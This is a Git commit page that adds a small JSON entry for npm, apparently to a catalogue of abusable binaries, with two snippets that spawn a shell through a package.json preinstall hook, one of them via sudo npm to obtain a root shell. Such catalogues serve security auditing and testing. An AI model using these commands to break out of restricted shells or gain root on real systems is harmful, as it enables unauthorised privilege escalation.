add data source for npm

master
Mr. Robot 3 years ago committed by GitHub
parent cef17eb6ff
commit 386bb0ffa8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,14 @@
{
"functions": {
"shell": [
{
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nnpm -C $TF i\n"
}
],
"sudo": [
{
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nsudo npm -C $TF --unsafe-perm i\n"
}
]
}
}
Loading…
Cancel
Save